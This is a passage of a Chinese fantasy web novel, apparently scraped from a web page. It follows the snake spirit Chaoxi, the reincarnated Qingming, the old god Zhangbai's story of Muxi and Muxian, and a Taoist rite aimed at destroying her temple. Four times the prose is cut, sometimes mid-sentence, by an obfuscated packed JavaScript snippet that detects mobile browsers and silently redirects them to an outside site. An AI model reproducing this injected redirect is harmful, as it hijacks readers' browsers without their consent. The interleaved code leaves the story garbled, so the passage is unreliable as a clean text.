“那你又要求什么?”这个才是朝曦真正好奇的,从前南溟总是一副无欲无求的脸色,真不知道有什么是他在意的,趁此下凡良机,正好摸摸清楚。 他犹疑冷漠,所讲心愿与脸色并不相衬:“我想以后能娶到户长的女儿为妻。” “娶妻?你如今才八岁……” “八岁怎么了?” “没,没怎么。”她摇了摇头,看来一个人桃花旺盛,跟年纪是没有关系的。“那户长的女儿生的很漂亮吗?” “还好吧,那要看参照物了。” “什么参照物?” “跟这村子里的人比,她的确是无可挑剔,但是跟你比,那就很不够看了。” 她万万没想到,从前那么吝于夸人,如今竟然这么油嘴滑舌,虽然听起来很不真实,但不得不说这话真的让人很受用,她捂着快要扯到耳根的嘴巴连连摆手:“你这么说,我也是会骄傲的,不过这就是你要娶她的理由吗?” “不是。” “那是为何?” 清明开始有些犹豫,不过还是选择告诉了她:“那个女孩哭泣时,落下的泪珠会变成珍珠。” 从来只听过鲛人的泪会化做珍珠,没听过一个凡人也会有这种技能的,想来这个孩子也不是凡胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164789|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“所以呢?” “听说一颗品相好的大珠,可以买下一座城。” “……”听闻此话脸色不由滞住,便是清高如南溟,也躲不过凡界的血脉相传吗?“你小小年纪便如此财迷,这样可不好。” 清明不置可否:“一个人没点儿志向哪成?我虽年纪小,但也知道成日混吃等死不好,我不能当个废物点心。” 朝曦心中一虚,总觉的他意有所指。 “不过你是从哪里冒出来的,我之前可从未见过你。” “你当然见过我,不过你当时还小,不记得罢了。但是王富贵两夫妇和这村子里的许多人是认得我的。像你说的,我生的好看,想来别人不会轻易忘掉。” “真的?” 朝曦点了点头:“这样好了,我随你一道回去,也见一见故人,要不然他们只以为我死了总是欺负......” “好。” 二人从台上下来,清明默默牵起她的衣袖,朝曦多少有些意外,净白莹润的脸颊浅浅旋出一涡笑意,在回头看见庙的匾额时戛然止住。 “从题名这件事上来看,文化水平真的很重要。” 清明颇为认同的点了点头:“是的,也不知道这些人为什么要取这么个名字。” 转世到这学识匮乏,智慧贫瘠之地,还好他的品味并没有改变,朝曦很庆幸。 “反正都已经动了,不如名字也给改了吧,只是改什么好呢?” “它虽然体型庞大,但年纪应该只是一位姑娘,取一个朝气明媚些的便可。” “花仙子庙?” “......” 姓了花,又还能取出什么不凡的名字来呢? 朝曦无可奈何的笑了笑,与清明在这深静夜里向王富贵家中走去,她一袭紫衣很熟悉的行在前面,清明则和顺的跟在后面,眼光和月光同时落在她的背影上,不知怎么,一份安心氲上心间,这么多年心里总缺少的一处,在这一刻填补完整,他想不通原因,但似乎明白了王水清常看的戏文里的那句,一眼万年。 “老爷夫人,清明回来了。” “回来便回来,什么时候他回来也需要禀报了?”妇人嗑着瓜子不屑的白了管家一眼。 “平常倒也罢了,今儿个他不是一个人回来,随他回来的还有一个女子。” “女子?是什么样的女子?” 王富贵出自本能的一问,立刻又让妇人心生不悦,她扔下手中的瓜子,凶巴巴的开始念他:“一提到女子你便两眼放光,这么大年岁还这样色心不死,真是天生的风流胚子!” “我风流?我风流这许多年可曾纳过一房妾室?” “那是老娘把的紧,就说八年前把清明这个死孩子寄养在这儿的那个小贱人,要是当年让你们俩勾搭上,指不定今年老娘已经要烧八周年祭了!” 妇人叉着腰,一副要吃人的样子,王富贵日久天长的浸淫在这凶悍之下,早就只敢怒不敢言。他哑忍着,心中殷切希望有人能惩治一下这个恶妇,一解自己多年的苦楚。 他这样幻想着,耳中忽然闯进一个轻盈却冷厉的声音问询:“二位是嫌命长还是嫌日子太舒服?” 63. 财能 三人顺着声音望去,正见一个姿态娉婷,容颜姣美的女子似踏云踩雾而来,她穿着一袭浅紫纱裙,头顶随意绾着两团发髻,慵懒随性,娇俏间杂着一丝妩媚,余发垂坠于腰间,如墨如缎,平滑似锦,而莹白的面庞在这一片墨的映衬下,异常通透灵润,可媲美于深山玉脂,超尘于世外琼瑶,至于那脸上笑意,七分可人,两分轻蔑,更有一分睥睨意味,让人看久了,不禁有些望而生畏,避而不敢直视,她如一朵生了刺的异芙蕖,步步生香。 三人一时错神,恍惚以为是天女下凡,但跟在她身边的清明将切意识拉回了现实,王富贵夫妇出神看着,心中油然腾起一一片熟悉。 朝曦也不与他们费话,直接开门见山道:“我走时你们答应要好好照顾这个孩子,日后自有你们的福报,看来这番嘱托全叫你们吃进肚子里了。” “你,你是....”二人不敢置信,但细细看了看,还真是。 “哼,你扔下孩子倒是去逍遥了,我们凭什么给你照养孩子?也就我们夫妇仁义,换别人,这孩子早就卖了!” 朝曦看着那咄咄逼人的样子,竭力按捺住心中的暴躁,不然自己真的想打爆她的头。 缓缓走到两夫妇的面前,两手握拳伸到他们面前,笑盈盈道:“是,这些年的确辛苦二位了,欠你们的钱财我已经送去账房了,这儿还有一点儿心意,是我真心感激二位的,望你们不要嫌弃。” 听是送礼,两夫妇便不再那么斗鸡似的,朝曦摊开双手,见两朵鸭蛋大小的碧色棱花立于掌心,看着这等稀罕物件儿,二人颜色舒展,立刻眉目欢喜的接了过来,但在接过的那一刹,二人自掌心而起迅速结冰蔓延,手臂,肩膀,腿脚在术主的控制下均被冰棱之气固住,只剩一颗头颅,几乎成了个活冰雕。 “你,你这妖女,又使的是什么妖术!” 碧晶青棱,看来渡劫一事真的确有好处,自己苦练白棱许久才凝出那么朵小白棱花,挨了几道雷这法术便一下子进阶成了碧晶青棱,除了差点儿死掉以外,总体来说还是挺划算的。 “这个术也没有什么特别的,就是慢慢将人冻死,它的好处是能让死者保持原貌,不会腐烂。”朝曦漫不经心的坐在太师椅上,一面喝着茶,一面看着快要吓破胆的两人。 不过一会儿,肥胖如王富贵已经冻的脸色青紫,他的老婆也没了方才的气焰,眼看就快支撑不住,王富贵便只好将希望寄于旁边的清明,颤颤栗栗的求情道:“清明,怎么说你也是在我们这儿才长这么大的,你就忍心看着这个我们被她杀害?” 清明面无表情,仿佛这一切不关他的事。 “清明,你觉得呢?” “随便你。” “你不是希望能娶到他家女儿?这样说来,他们以后可能会是你的丈人。” “那就留着吧。” 他的话听起来很随意,没有一点情绪在里面,让人觉得他完全不在意。 “不过,你真的是把我寄养在这家的人吗?我们是什么关系?” “呃……” “孩子,她是你大姑,快快求求你大姑,解了我们身上的术吧!”王富贵急切说道。 清明昂起脸认真看她:“大姑?是这样吗?” 朝曦犹豫,本来一个称谓,并没什么要紧,但想到他回去后可能会对自己冒充他的大姑有意见,跟自己算账,便只好否认。 “当然不是,你出生那天我碰巧路过,碰巧你爹娘又双双离世,于是我便只好以你大姑的名义安顿你。” “哦,好。”他的脸上终于出现一丝开心,让人琢磨不透。 “清明,快,快救救咱们吧,要,要不就快……冻死了。我做主,将清儿许配给你……” 难为王富贵情急之下还能想到这个救命的办法。 “放了他们吧,虽然你是为我抱不平,我也很感谢,但不好让你因此变成个杀人女魔头。” “你说的这么好听,难道不是因为顾惜你的王姑娘吗?” 清明听着这份阴阳怪气,眨了眨眼睛,一脸茫然。 当然只是给他们一番警告,若是真的索命怎还会有这诸多废话,眼看二人奄奄一息,便立刻出手解了青棱术。 这时,一团碧色闯进门来,她抓住朝曦的手臂狠狠咬下一口,她已经用尽力气,可在朝曦这里也不过如蚂蚁一般,她看着这个与清明一般大小的小姑娘,凶巴巴的瞪着自己。 “水清小姐,你干什么?” “这个坏女人要害我爹娘,我要咬死她!” 小小年纪便如此厉害,很是不错,她原有些欣赏,可就在刚才,在她推开这女孩的一刹,她触觉到了那个熟悉的元神,潦清。 朝曦忽然来了斗志:“你咬死我是不可能的,但我咬死你是眨眼间的事。” “妖女,我们家早就请了道行高深的师傅,待他游方回来,一定让你死的很难看。” 潦清果然是不肯放过任何一个跟南溟相处,和每一个同自己作对的机会。往常须顾虑着她的身份和氏族,也就算了,眼前她下凡至此,这么好的报仇解恨的机会,怎么能错过?一个邪恶的念头悄然滋生,此时杀了她,灭了魂魄,以后便清静许多,朝曦揪起她的衣领捏住她的脖子,轻悠悠道:“正是这样,我杀了你你的死相也不会好看到哪去。” “清明.……”水清挣扎中不忘求助。 “你,你不要杀她。” “你是舍不得么?”看着清明的脸上游离着一丝错杂情绪,心中油然一股无名的失落感。 “不要杀她。” 被她捏住脖颈的王水清的脸庞垂下两三行泪,没一会儿,便如清明说的那样,化成了颗颗珍珠,朝曦摇了摇头,松手捡起珠子,心中埋怨老天爷为什么不赐给她们蛇族这种财能。 “罢了,我还要出去,待你十六岁时再来看你。”看来这一世,潦清是能得偿所愿了。 她转身看了看还冻的发抖的两人,严词厉色道:“二位若是再不长记性,下一次我可不会像今天这般高高举起,轻轻放下。” 推门离开转瞬不见,清明追出去时只能感受到风中余香,他蹙起眉头思绪飘摇。 若飞正在煮酒。自己不知道怎么就来到这了,对于渡劫后那自然而然变得熟练的御风驾云之术,感到片刻的欣喜,心中怎么也提不起兴致来。 若飞煮酒的样子娴静优雅,但同时也看出她很清闲,不然也不会一直待在这里。 “来的早不如来的巧,用凡间的话说你很有吃的福气。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164790|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我一向对吃很敏感。”朝曦不客气的接过她递来的兰花茶碗,那里面的酒水温热香醇,一口下肚顿感暖流充斥全身,舒适畅快:“不知道谁会有这么大的福气,以后能娶到若飞姐姐这么温柔的人。” “几日不见,不仅样子变了,连嘴巴也变的油滑了?” “我也觉得自己变了,不过却说不上来哪里变了。” “前几日的天劫可是你的?” “嗯,同那有什么关系?” “凡天劫,渡劫之后相貌或许有些变化,不过同心境是没有什么关系的。看你这一脸愁云,活脱一副小女儿心态,莫不是对哪家的郎君动心了?” “狼君?”说实话,自己对狼是没有什么好感的,什么色狼,白眼狼,大尾巴狼,总之,在凡间它和乌龟的名声都不太好。“我一个朋友说,成亲还是和同族比较好,这样孕育的后代不会出现什么不可控的局面。” “所以?” “所以,不出意外,我是不会喜欢上一只狼的。” “……”若飞舒了口气,组织了一下语言:“其实也没有你担心的那样,很多神仙们,都是异族孕育,不都挺好么?” “我见过一只穿山甲精和一只刺猬精,生出了一只甲刺同体的怪孩子,周边对它的样子很是嫌弃排斥,除了我,基本上没人同它玩。” “眼界和见识很重要,像很多上古神,它们的真身都是闻所未闻,见所未见过的,所以不能以相貌盖棺定论。”若飞自顾说着,瞧着她有些懵懂的样子,便又补充:“上天赐予真身,本事和修为于后天练就,谁又能断定异族诞育的后代因为异样而无能呢?” “有没有比如呢?” 煮酒的动作停了停,简单一想,很快便找到鲜明的个例:“就如那应龙神君同他的第一任妻子琅妧圣母,所育之子不仍是纯正的龙身吗?” 南乔虽在颜色上有别于平常龙族,但也不失为一条龙,如此若飞这样说,也不无道理。“琅妧圣母?不知她老人家的原身是?” “赤翎仙鹤。” 朝曦摇了摇头,这是听也没听过的物种。 “你未听过也属正常,毕竟这世间,赤翎仙鹤也唯有公主一人。” “出身高贵可真好。” “为何有此一叹呢?” 若飞温柔和善,就像是一株不经风霜的家室娇蕊,而南乔骄蛮专横,则酷似一盆热烈张扬的珊瑚,二人虽然性格迥异,但不论从哪儿看,举手投足皆散发看一种高贵,一种父辈和血统带来的高贵,这种高贵隐隐伴着一种清冷,自然而然的令别人敬畏,尊重。 反观自己,不仅一无所有而且还来路不明,实实在在处于六界的最低阶层,这就怨不得别人轻蔑了。想着想着,不由又深深舒了口气,以往独自惯了,便不觉得家族血统有什么重要,这段时日见了许多,便不得不多想了些。 若飞不能理解自己份属正常,暮闲说的对,没有背景可倚仗的人,只有靠一双铁拳才能赢得别人的尊重,顺服。 “不知道一条龙和半条鱼,在一起会孕育出什么后代?你说是龙鱼?还是鱼龙?怎么说都稀释了龙族原有的高贵血脉,不是很妙。” “你是指?” “没有,只是近来的一桩见闻。” 64. 尘封旧事 若飞煮的酒别有一番滋味,入喉清甜,又化作绵绵醇香萦绕五内,走了几步便觉得脚下松软,似踩踏在棉花上一般,她摇摇晃晃着,身子轻的似一根羽毛,没有方向的飘荡着。重影中,她看见好几副画面,一时是南溟,一时是暮闲,一时是若飞,恍惚之中随手招了朵云,歪歪扭扭的爬了上去,耳边回荡着若飞的声音:“朝曦,你可当心啊。” 扑通。 在一些枝枝桠桠刮过之后,落在了一片坚硬的石头地上,疼痛使人清醒,她捂着被几近被咯断的腰,扶着旁边慢慢站起,一片漆黑下,月光流莹,披洒万物,一个身影悄么出现。 “唉呀,这大半夜的,可是不让人入眠啊!” “是谁?”迷糊间,朝曦约能分辨出来者身份。 而老者听声看去,揉了揉眼睛,又揉了揉眼睛,似乎是不敢相信眼前所见,脱口唤道:“暮曦姑娘?” “暮曦?”果然是上了年纪,记性真的不大好,这才几日,这个章白竟能将自己的名字记错了。她摇了摇头,摆了摆手,更正道:“不是暮曦,是朝曦,朝曦。” 章白一阵风走近,几乎要趴在她的脸上,观察仔细后道:“还真,不是。我说怎么一直觉得你这么眼熟,原来是这样。” “原来是怎么?难不成你口中的暮曦真有其人吗?” 章白点了点头:“当然,我老朽可不是信口开河的人。” “那我同她很像?” “单看面容是五六分相像,再加上这一身紫,很难不让人错神。” 看这老头一派正经,编起谎来跟真的一样。她本是如风过耳,不以为意,可神识里偏有那一丝灵敏的,让她浑浑噩噩间有些察觉。 定了定摇晃的身子:“你刚刚说暮曦?” 暮闲的暮,朝曦的曦,怎么能确定这不是暮闲又做的手脚?她无奈的摇了摇头,不知该如何再评判暮闲的良苦用心,一片迷蒙里,那抹聪明的意识稍稍反驳,章白虽然仙阶仙力都不怎么样,但到底是神仙,岂能是暮闲一介妖精可随意驱使的?不过,蛊惑蒙蔽贿赂洗脑完全没问题,因为他一向有这种本事。 本着不能冤枉一个好人,也不能放过一个坏人的天下真理,她决定听一听这土地的讲说,以此来分辨事实真相。 信手召出几只藤条,飞快的编织了张吊床,因为渡劫后道行有所进阶,便想拿出一些大妖的风范,于是帅气的纵身一跃,打算仰躺着舒服的听听故事,然而也不知是醉酒,还是别的什么缘故,这一跃竟十分偏离目标,结结实实的摔到了地上。 章白愣了愣,摇着那硕大的脑袋扶她起来。“这冒冒失失的,倒与她有的一拼。” 她仰躺下来,听听这小老儿能说出什么故事来。 天界对她的忌惮六界皆知,但凡神仙皆是避之不及,章白起初并不打算与她多说,可看她已经舒适的躺好,还给自己变了一盘花生米,便不好在推拒,想着自己也已经没了睡意,长夜漫漫挺煎熬的,不如与这个不太讨厌的小妖闲话一番,只当打发时光了,毕竟这些年来鲜少有人愿意听自己的话匣子。考虑着,也就倚靠大树坐了下来。 “记不清是一万多年前还是两万多年前了,那会儿她一个人寻寻觅觅到此处,因对此地的清幽颇为中意,便驻足停这儿一些时候。偶然一天,将将经历过一场劫的我羸弱不堪,几只野猪精趁机发难,想吃了我得道,这时,她现身救下了我,我虽知她是妖灵类,但感念她的救命之恩,便没有同她划清界线,在带她游逛了几日后,她便打算长居此地。” “你给她建了间竹屋?” 章白摆了摆手:“一段时间我发现,她几乎没什么生存手段,渴了饮些河水泉水,饿了便在河中捞些泥鳅,困乏了,便藏进丛里休息,总之没有半点生存的能力。而在不久之后,又来了一位风姿超然的男子,一眼看去与她十分登对。不过这份登对也仅仅是外貌上,相较于她的粗枝大叶,男子的生活十分讲究,十几日的功夫,便搭好了一架双层的竹屋。” “唔,正是你如今住的那处,竹屋被他打理的极好,四时里五音六律从不间断,丝竹管弦无有不精,连带它的周边都变的美妙遐逸,他也每日亲自蒸饭煮茶,耕种养栽,总有美味清香自他那里飘出,真正是世外清幽里满满当当的人间烟火气,好一个悠哉自在。我活了多年,见惯世间百态都羡慕的很,何况是她?故而时间久了,她便觉得自己的生活逊色很多。” “山中不知岁月,不知哪年,她匆忙召我过来,说要商议一件十分重要的事,我猜测她可能也想建一座房子,于是便想了一些建议,没想到她说,她想招那男子为夫婿,并问我有什么让他不能拒绝的办法。” “我仔细想了想,保媒拉纤的活儿我倒也做过,不过世人待姻缘的态度一向是两厢情愿,似这等强按牛头喝水的事,大概只有山寨土匪才做的来。” 藤床上的人兴致斐然:“那你是怎么被劝服的?” 章白神情微刹,避重就轻道:“她完全不理会我的劝说,深信什么强扭的瓜不见得不甜这套歪理邪说,让我无论如何想尽办法,劝说成功。” “我心怀忐忑的去了,起初还很心虚,生怕这样一个青年才俊被我坑了一生,我万万没想到,他是个极聪明的人,前后不过三句话,他便猜到了我的来意,更没想到的是,他竟一口答应了。” “所以?” “所以,择日不如撞日,当天他们便成亲了,至此,她便有了名字,也有了居所。” “这听起来很戏剧。”清凉的细风拂面,朝曦想,如果从这故事里找出一丝认同,那便是此山的确适宜居住。 “老朽我活了许多年,也不敢相信。” “那位男子,她的相公叫什么名字?” “似乎也是暮什么?因为她讲暮曦这名字是按照凡间的习俗,冠夫姓,暮什么来着?” “暮闲吧。”她语调讽刺,夹杂着一阵冷笑。而章白意外于她的先知,并未察觉出。 “可不,暮闲,正是暮闲!” ...... 煞费苦心啊。她将枕着双手的脑袋歪了歪:“我说,你到底收了他什么好处,竟能将如此冗长的故事牢记脑中?” 粉扑扑的老者微微错愕不明所以,牛头不对马嘴的说道:“我虽与暮曦姑娘来往密切了些,但与暮闲交集甚少,好处更是说不上。” 朝曦躺平,眯着眼睛看月,考虑着有没有听下去的必要,困意渐浓,本想入睡,可是她的听戏血脉被唤醒,一则没有结局的故事在她这儿是从没有过的,罢了,就当是听话本吧,看他暮闲能编成什么样。 “您继续啊。” 章白怔了怔,只好继续:“二人成亲当天,暮曦召唤了方圆百里的妖灵精怪来吃喜酒,她这新相公倒也体贴,备了好些美味款待这些宾客,给足了她面子。” “做些菜而已,这就算体贴了?” “莫慌莫慌,你且听我说。大伙儿来敷衍,自然了解这对新人,众人皆以为,这是新娘子的一厢情愿,新郎是个老实孩子,一定是受了她的胁迫,这个新娘子,必定是宽肥丑陋。” “这些人是不是厌女?还是对新郎有所觊觎?” “没错,有几个姿色颇为傲人的小妖打起了新郎的主意,各种甜言蜜语的奉承于他,不过这暮闲也不是那肤浅花心之人,以实际行动证明自己的忠贞,很利落的让她们绝了心思,羞愧难当的离去。” “是什么?” “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203313|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时从袖兜取出一枚紫钗,众人一看便知是仙境之物,说与她的情缘是上天注定,永世长存,不论她貌美还是衰老,终此一生,心中无二。”老头面色红润,憧憬之情溢于言表:“哦,对了,他还截了两人的头发放在一处,说什么结发为夫妻,恩爱两不疑。” 一贯情话都这样好听,话本子里比比皆是,明知是假,却还是深陷其中,虽不关自己的事,但还是不由得叹了口气。 “暮曦一出来揭了盖头,绝色容颜更叫那些人失语哑言,我也是好奇,这暮闲到底是何时对她产生如此情愫的。” “后来呢?” “后来……”形容上的憧憬无意识间渐渐暗沉下来:“琴瑟和鸣,岁月静好,她诞育下了两个孩儿,一家人本该更加其乐融融,也不知为了什么,二人起了隔阂,暮曦从此眉头深锁,不见笑意,也不肯与我多说,更在某一日里刀剑相向。我撞见她一身嫁衣,捂着流血的胸口离去,她那双眼中的仇恨,我至今都还清晰记得。” 脑中刹时同步到那个梦,她感同身受的胸口一震,仿佛也被那长剑刺穿,她慌张坐起来,粗喘着气息,一头汗水。 “你怎么了?” “没事,那,暮闲呢?” “暮闲……后来有一个老神仙来了,与暮闲斗了一场法,之后便带着孩子齐齐消失了,我那时才知道,暮闲他是个神仙。” “神仙?” “嗯。” “你后来有没有再见到或者听到过,她的事?” “见是没见过,有所闻的是她只身闯入雾仪山,再也没出来。” 意识云山雾绕,但好似从这弥漫之中寻见一丝线索,脑袋中钻进一个想法,如果这一切属实的话,雾仪山谷底封印着的妖,会不会就是这位暮曦?她的困倦一扫而光,不由得惊坐起来,到这儿,她再也无法认为这是暮闲开的玩笑。 一切如麻,但可以倒着往回看,自己所梦所见皆为当年真实,如今的暮闲也承认自己有着两个孩子,依他所说,她的妻子是个厉害人物,他从没说过,孩子的母亲已经不在人世。设想是被困住了也无不可,这样推断,雾仪山里困住的妖,极大程度上就是她。 而章白说,曾经的暮闲是神仙,那么就可以与梦境中身带仙气的男子对上号了,稍微的通透多少令她心中发闷,这一切似乎那么合情合理,只是这其中还有很多不通顺,很多不明白,比如,如今的暮闲看起来轻佻荒诞,与章白口中形容的那个言语寡淡,高高在上的神仙大相径庭,让人实在无法联想到一处去,又比如,如果梦境所见为实,成了妖魔的暮闲,为何要倚身蛇族投在玄霜门下?以他的能力完全不需要找靠山,难道他有什么目的? 而这些所有里,令她疑雾更甚的是,暮闲与南溟,实在太像了,这能是巧合吗? “当年,到底发生了什么?” 章白摇头表示不知。 “暮曦有没有同你说过,她是从哪来的?家是哪方,是何族类?” “没有。” “你这个老头,记性真是够可以的。” “不过有次聊天,她说过从来没离开过那个地方,是哪儿来着?” “什么,你倒是快想想啊!” 章白想破了头,仍然没有一点头绪,朝曦的耐心被耗尽,眼看天要亮了,便不再浪费时间:“罢了,你且想吧,想到了告诉我就行了。” 她转身就走。 须臾而已,身后的章白却高声叫住了她,激动的说道:“洞庭!是洞庭府!” 她缓缓回身,醉容上慢慢布满匪夷,奇惑,凝起的眉头越锁越深,抚着绞痛的额头,眼中瞳仁如深渊开启,无尽的黑暗中藏着恐惧,纵是那见惯人世百态的老神仙也不由一惊。 65. 违逆天道 宿醉缘故,醒来便觉得头脑酸胀,待清醒之后发现自已经回到了竹屋,可完全想不起来是怎么回来的,而脑袋里除了那个故事,还有章白提及到的暮曦留有金银财宝的只言片语,印像格外深刻。 章白最后的那句洞庭言犹在耳,一直以来心中凌乱模糊的碎片在终于此刻合并成形,洞庭,蛇族,少主,暮曦,虽然还没有强有力的证据,但几乎可以断定,暮曦就是妖王遗孤,同时也是暮闲的妻子,但不知是什么原因,暮闲已将过去忘了个干净。 倘若被镇压雾仪山的真是暮曦,那么她能出来的几率几乎为零,所以玄霜他们早就知道,这是想把自己彻底钉死在这少主的位置上。朝曦心中十分坚定,自己绝不能是暮曦,也不想当这什么少主,苦思冥想很久,想着就算雾仪山下的她无法被释,只要能证明她就是妖族少主,自己就可以昭告天下,恢复一身清白,说不准便可以待在南溟身边了。 自己不管面貌还是名字同她的确很像,又是同出一族,很难讲两人之间是否有什么牵扯,那自己又是谁呢?过去,朝曦极少去想这个问题,而此时不得不琢磨自己的身世,自己家族父母是谁,在不周山环境中见到的阿娘是真是假,身上封印从何而来,又为何会魂魄缺失。 这太多的疑惑无法立刻消化,说起当前最可能确定的是,一直梦中的那个男子到底是不是暮闲,他和他的妻子到底发生了什么,这影影绰绰,非花非雾的画面在心头脑海萦绕不散,总让她觉得堵心,思索后采用了最为直接的方法便是去寻暮闲问个清楚,虽然明知暮闲不会告诉她。 这一点,在她寻他无果彻底人间蒸发了一般后,得到了证实。 抓耳挠腮的想了几天,终归这件事不是一天两天能解决的,想了想自己此番来意,便草草收拾一番,便准备下山,因为再过几日,南溟在凡间就要十六岁了。 在这儿居住的时日虽不长,但周遭各路精怪大多都对她敬畏有加,从未有人敢来挑衅,说来这要感谢被自己真身吓跑的那只野猪精的奔走相告。 走到山腰时,忽见一群精怪往这跑来,见它们神色慌张,朝曦便拦下一只藤妖问:“村子里有什么事吗?” 藤妖识别出她的身份,便安心幻出人身:“你要去村里?我劝你不要去了。” “怎么?” “村子里来了几个道士,正在举行什么祭祀,咱们都觉得这些人来者不善,所以回到山中躲一躲。” “道士?村子里怎么会无缘无故来道士?” “还不是王富贵的义子出的主意,说村中不净,常有妖魔出没,从外头请来一帮道士,设坛祭祀神明,实则是要对咱们下手。” “是不怎么太平,不过大家伙不是早就安守本分了,是要赶尽杀绝么?对了,这又王富贵什么时候有的义子?” “鬼知道从哪冒出来的?哎呀,为保安全,你还是别去了,赶快离开这里吧。” “那不成,坛在哪里?” “在你那个庙前。” “……”这摆明了是冲着自己来的,朝曦猜到这个义子有些来头,倒也不似过去那般容易怵怕,反而心中坚定,要会一会这个义子。 庙前。 正对庙口,全村人丁几乎都聚集此处,她挤进去,见用各色石头围成了一个圆,中央的坛桌上立着三把木剑,并有三道黄符,一个宽袍道士立于坛前,祷告神明后开始念一些无声咒语,昏昏沉沉,昏昏欲睡,其余帮手则怀抱拂尘,正容亢色的围在一旁。 王富贵一家落座于圈外,朝曦远远看见了清明,王水清紧紧挨着他,很是亲厚,在王富贵的身边有个十几岁的少年,他不时与之耳语,脸上一副将一切玩弄于股掌之间的得意神色,想来这便是那个义子了。 义子,般颉。 朝曦忽感臂上力量增强,原来身体会下意识的出现对抗反应,她冷笑不言,这个般颉和潦清,难道是捆绑投胎么?他总是跟南溟,跟自己过不去。 “列位乡亲,我村多年来屡屡有妖怪出没,义父一家深受其困扰,我身为人子从旁看着,实在于心不忍,便走访名山门派,请来了这位道法高明的孙道长,为咱们村子清理妖孽。” 道长眨了眨眼睛,朝曦发现原来他并非困倦,而是眼睛生就这样,睁不开,睡不醒。 “卧龙山附近妖孽众多,但为首的,便是这座庙里的蛇妖,她有万年道行,可谓是妖中之王,此妖曾现身于村中和户长家中,蛊惑大家为其修庙立碑,它好借此吸收香火功德,助长妖法,为患世间。” “什么?你说这位仙姑竟然是妖精?”村民们听闻后开始交头接耳,议论纷纷,对这番说法显然颇有疑议。 “这仙姑真身显灵,吓退了恶兽,否则我等早没性命了。” “雕虫小技,她不过是先放些恶兽来害人,自己再出手相救,欲擒故纵而已。”道士脸上绽现出一丝讽蔑说:“贫道远观此地,被一团黑紫之气笼罩,尔等虽得一时实惠,但若再不回头,来日必有灭顶之灾。” 一说到性命,众人开始有些惶惶不安,朝曦听在耳里,自心底表示无奈,她终于见识了什么是世人讲说的三寸不烂之舌。 “那要如何解决?” “我已设坛,敬告神明,求下神符三道,待法事一起,将这蛇妖塑像捣毁,庙宇推翻,寻迹收伏,灭其灵杀其身,便永绝后患。” 道士大言不惭,可以看出主使者般颉的赞许,老道有没有这个本事她不知道,般颉想引蛇出洞的心思却是昭然若揭,他倒是聪明,知道自己身处凡界不能施术,便蛊惑了个人来行杀,朝曦暗暗估量,凭借自己如今的能力,对付他应该不成问题。 心中一隅隐有不安,她觉得应该还有什么是自己没有想到的。当掌心下意识聚起微许青光,那边出来一群壮汉抗着器具就要去砸那塑像,一直沉默着的清明忽然站出来挡在庙前。 “你是哪里来的野道士,根本不是你说的那样。” “你是哪个?是在这里袒护妖怪吗?”道士反将一军,提声喝道。 清明虽小但不怯他,面色冷静的提出异议:“一切讲究证据,你说她要害全村,那就请你拿出证据,否则你便是信口雌黄,颠倒黑白。” “你……” “哼,现在道士的门槛都这么低了么?” “……” 般颉见状,即刻扭转问题:“清明,听说是那蛇妖送你回来,你这么维护她替她说话,该不会是被她蛊惑了,与她同谋,要害全村吧?” “她没有。” “怎么没有?”王水清愤愤上前:“前些年来家里那个女子,使了妖法害我父母,我怀疑她就是那条蛇妖!” 王富贵的老婆倏然起身,义愤填膺说:“对对对,那个女人正是十几年前送清明来我家的人,当年她便用法术害我,威逼我们养育清明,前些年她又来,却不见她年纪增长,不是妖怪又怎么说!” 众人听闻,不由对清明产生怀疑,道士见势,围着他打量一圈:“你这少年身环妖气,竟不是一日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212088|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两日了。” “压下去,待除了那妖孽,再来处置你。”般颉令几个人扣住清明,得到他的挥手示意后待命的工人们开始打砸,因是老手动起手来倒是很快,没一会儿一樽塑像倒塌下来全部成了碎石片,朝曦默默看着,觉得可惜却并不生气,她只是在担心清明,又想不透般颉的意图,所以尽管手中的术已经凝聚成形,仍然在迟迟停滞着。 